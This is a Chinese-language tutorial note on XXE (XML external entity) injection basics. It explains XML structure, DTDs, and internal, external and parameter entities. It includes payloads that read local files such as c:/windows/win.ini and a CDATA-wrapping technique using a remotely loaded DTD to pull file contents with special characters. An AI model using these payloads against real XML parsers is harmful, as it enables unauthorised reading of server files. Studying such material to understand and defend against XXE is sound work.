XXE-基础
Contents
XML文档结构
<?xml version="1.0" encoding="utf-8"? > //文档声明
<students> //根标签
<student> //子标签
<name>小明</name>
</student>
<student name="小红" />
</students>
- 所有 XML 元素都须有关闭标签。
- XML 标签对大小写敏感。
- XML 必须正确地嵌套。
- XML 文档必须有根元素。
- XML 的属性值须加引号
DTD和实体
xxe注入里最关键的知识就是DTD和实体
DTD:文档类型定义
类似下面这样,下面这个DTD就定义了xml文档结构,同时DTD还可以定义一些变量(实体),且可以外联引用DTD
<!DOCTYPE message [
<!ELEMENT message (receiver ,sender ,header)>
<!ELEMENT receiver (#PCDATA)>
<!ELEMENT sender (#PCDATA)>
<!ELEMENT header (#PCDATA)>
实体:
我们还能在 DTD 中定义实体,实体其实可以看成一个变量,到时候我们可以在 XML 中通过 & 符号进行引用
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [
<!ENTITY xxe "test" >]>
<creds>
<user>&xxe;</user>
</creds>
实体分为内部实体和外部实体,上面的就是内部实体,xxe注入中外部实体是关键
<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "file:///c:/test.dtd">
<note>
<to>Y0u</to>
<from>@re</from>
<head>v3ry</head>
<body>g00d!</body>
</note>
常用:
<!DOCTYPE root-element SYSTEM "file://xxx">
<!DOCTYPE 根元素名称 PUBLIC “DTD标识名” “公用DTD的URI”>
实体也分为参数实体和通用实体
通用实体 用 &实体名; 引用的实体,他在DTD 中定义,在 XML 文档中引用
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE updateProfile
[
<!ENTITY file SYSTEM "file:///c:/windows/win.ini">
]>
<updateProfile>
<firstname>Joe</firstname>
<lastname>&file;</lastname>
...
</updateProfile>
参数实体
(1)使用 % 实体名(这里面空格不能少) 在 DTD 中定义,并且只能在 DTD 中使用 %实体名; 引用 (2)只有在 DTD 文件中,参数实体的声明才能引用其他实体 (3)和通用实体一样,参数实体也可以==外部引用==
<!DOCTYPE updateProfile
[
<!ENTITY % an-element "<!ELEMENT mytag (subtag)>">
<!ENTITY % remote-dtd SYSTEM "http://somewhere.example.org/remote.dtd">
%an-element; %remote-dtd;
]>
CDATA区、特殊字符
<![CDATA[ 括住不想解析的内容 ]]>
& &
< <
> >
" "
' '
例如:
<TitleName>"姓名"</TitleName>
*文件内容有特殊符号情况下* 会对XML解释器生成错误
解决此状况就可以使用参数实体:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY % start "<![CDATA[">
<!ENTITY % goodies SYSTEM "file:///d:/test.txt">
<!ENTITY % end "]]>">
<!ENTITY % dtd SYSTEM "http://127.0.0.1/XXE/test0.dtd">
%dtd; ]>
<test>&all;</test>
Test0.dtd
<?xml version="1.0" encoding="UTF-8"?>
<!ENTITY all "%start;%goodies;%end;">